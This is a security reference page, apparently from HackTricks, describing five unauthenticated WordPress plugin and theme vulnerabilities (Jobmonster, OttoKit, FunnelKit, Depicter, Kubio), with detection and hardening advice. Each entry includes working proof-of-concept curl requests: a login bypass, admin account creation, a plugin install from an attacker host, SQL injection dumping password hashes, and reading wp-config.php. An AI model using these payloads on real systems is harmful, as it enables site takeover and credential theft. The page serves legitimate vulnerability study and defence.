Nicht authentifizierte Kontoübernahme via Social Login AJAX-Fallback (Jobmonster Theme <= 4.7.9)
Viele Themes/Plugins liefern "social login"-Hilfsfunktionen, die über admin-ajax.php exponiert sind. Wenn eine nicht authentifizierte AJAX-Aktion (wp_ajax_nopriv_...) client-seitig gelieferte Identifikatoren vertraut, sobald Provider-Daten fehlen, und dann wp_set_auth_cookie() aufruft, wird daraus eine vollständige Authentifizierungsumgehung.
Typisches fehlerhaftes Muster (vereinfacht)
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
Warum es ausnutzbar ist
- Unauthentifizierte Erreichbarkeit über admin-ajax.php (wp_ajax_nopriv_… action).
- Keine nonce-/capability-Prüfungen vor Zustandsänderungen.
- Fehlende OAuth/OpenID Provider-Verifizierung; der Default-Branch akzeptiert Eingaben des Angreifers.
- get_user_by('email', $_POST['id']) gefolgt von wp_set_auth_cookie($uid) authentifiziert den Anfragenden als jede existierende E-Mail-Adresse.
Ausnutzung (nicht authentifiziert)
- Voraussetzungen: Angreifer kann /wp-admin/admin-ajax.php erreichen und kennt/errät eine gültige Benutzer-E-Mail.
- Setze provider auf einen nicht unterstützten Wert (oder lass ihn weg), um den Default-Branch zu erreichen und id=<victim_email> zu übergeben.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
Expected success indicators
- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
Finding the action name
- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers.
Detection checklist
- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=
. - 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.
Hardening
- Ableiten der Identität nicht aus Client-Eingaben. Akzeptiere nur emails/IDs, die von einem validierten Provider-Token/ID stammen.
- Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary.
- Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id).
- Erwäge, social login vorübergehend zu deaktivieren oder virtuell am Edge zu patchen (die verwundbare action blockieren), bis ein Fix verfügbar ist.
Patched behaviour (Jobmonster 4.8.0)
- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).
Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
- Impact: full takeover by chaining the minted key to internal privileged actions
PoC – mint a connection key and use it
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
Warum es ausnutzbar ist
- Sensible REST-Route, die nur durch einen Identitätsnachweis mit niedriger Entropie (username) geschützt ist oder ein fehlendes permission_callback aufweist
- Keine Durchsetzung von Capabilities; ausgestellter Key wird als universeller Umgehungsmechanismus akzeptiert
Detection checklist
- Plugin-Code nach register_rest_route(..., [ 'permission_callback' => '__return_true' ]) durchsuchen (z. B. mit grep)
- Jede Route, die Tokens/Keys basierend auf der in der Anfrage angegebenen Identität (username/email) ausstellt, ohne diese an einen authentifizierten Benutzer oder eine Capability zu binden
- Suche nach nachfolgenden Routen, die den ausgestellten Token/Key ohne serverseitige Capability-Prüfungen akzeptieren
Hardening
- Für jede privilegierte REST-Route: erfordere ein permission_callback, das current_user_can() für die erforderliche Capability durchsetzt
- Stelle keine langlebigen Keys aus der vom Client gelieferten Identität aus; falls nötig, gib kurzlebige, an den Benutzer gebundene Tokens nach Authentifizierung aus und überprüfe die Capabilities bei Verwendung erneut
- Validiere den Benutzerkontext des Aufrufers (wp_set_current_user ist allein nicht ausreichend) und lehne Anfragen ab, wenn !is_user_logged_in() || !current_user_can(
)
Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)
Nonces verhindern CSRF, nicht die Autorisierung. Wenn Code einen erfolgreichen Nonce-Check als Freifahrtsschein behandelt und dann Capability-Prüfungen für privilegierte Operationen (z. B. installieren/aktivieren von Plugins) überspringt, können nicht authentifizierte Angreifer eine schwache Nonce-Anforderung erfüllen und durch Installation eines mit Backdoor versehenen oder verwundbaren Plugins RCE erreichen.
- Vulnerable path: plugin/install_and_activate
- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
- Impact: full compromise via arbitrary plugin install/activation
PoC (shape depends on plugin; illustrative only)
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
Erkennungs-Checkliste
- REST/AJAX-Handler, die Plugins/Themes ändern und nur wp_verify_nonce()/check_admin_referer() verwenden und keinen capability check durchführen
- Jeder Codepfad, der $skip_caps = true setzt, nachdem die Nonce validiert wurde
Härtung
- Behandle nonces immer nur als CSRF tokens; erzwinge capability checks unabhängig vom Nonce-Status
- Erfordere current_user_can('install_plugins') und current_user_can('activate_plugins'), bevor Installer-Code erreicht wird
- Verweigere nicht-authentifizierten Zugriff; vermeide das Offenlegen von nopriv AJAX actions für privilegierte Abläufe
Nicht-authentifizierter SQLi über den s (search)-Parameter in depicter-* Aktionen (Depicter Slider ≤ 3.6.1)
Mehrere depicter-* Aktionen verwendeten den s (search)-Parameter und setzten ihn ohne Parameterisierung in SQL-Abfragen ein.
- Parameter: s (search)
- Fehler: direkte String-Verkettung in WHERE/LIKE-Klauseln; keine prepared statements/sanitization
- Auswirkung: Datenbank-Exfiltration (Benutzer, Hashes), laterale Bewegung
PoC
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
Detection checklist
- Grep nach depicter-* Action-Handlern und nach direkter Verwendung von $_GET['s'] oder $_POST['s'] in SQL
- Überprüfe benutzerdefinierte Abfragen, die an $wpdb->get_results()/query() übergeben werden und das s-Parameter per Verkettung verwenden
Hardening
- Verwende immer $wpdb->prepare() oder wpdb-Placeholders; lehne unerwartete Metazeichen serverseitig ab
- Füge eine strikte Allowlist für s hinzu und normalisiere auf erwarteten Zeichensatz/Länge
Unauthenticated Local File Inclusion über einen nicht validierten Template-/Dateipfad (Kubio AI Page Builder ≤ 2.5.1)
Die Annahme vom Angreifer kontrollierter Pfade in einem Template-Parameter ohne Normalisierung/Einschränkung ermöglicht das Lesen beliebiger lokaler Dateien und manchmal Codeausführung, wenn einbindbare PHP-/Log-Dateien zur Laufzeit eingebunden werden.
- Parameter: __kubio-site-edit-iframe-classic-template
- Flaw: keine Normalisierung/Allowlisting; Traversal erlaubt
- Impact: Offenlegung geheimer Daten (wp-config.php), potentielles RCE in bestimmten Umgebungen (log poisoning, includable PHP)
PoC – wp-config.php lesen
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
Checkliste zur Erkennung
- Jeder Handler, der Request-Pfade in include()/require()/read-Sinks verkettet, ohne realpath()-Containment
- Auf Traversal-Muster (../) achten, die außerhalb des vorgesehenen Templates-Verzeichnisses gelangen
Hardening
- Allowlist für Templates durchsetzen; mit realpath() auflösen und require str_starts_with(realpath(file), realpath(allowed_base))
- Eingaben normalisieren; Traversal-Sequenzen und absolute Pfade ablehnen; sanitize_file_name() nur für Dateinamen verwenden (nicht für komplette Pfade)
Referenzen
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation – Patchstack DB entry
- Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme
- Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them
- OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)
- FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)
- Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)
- Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.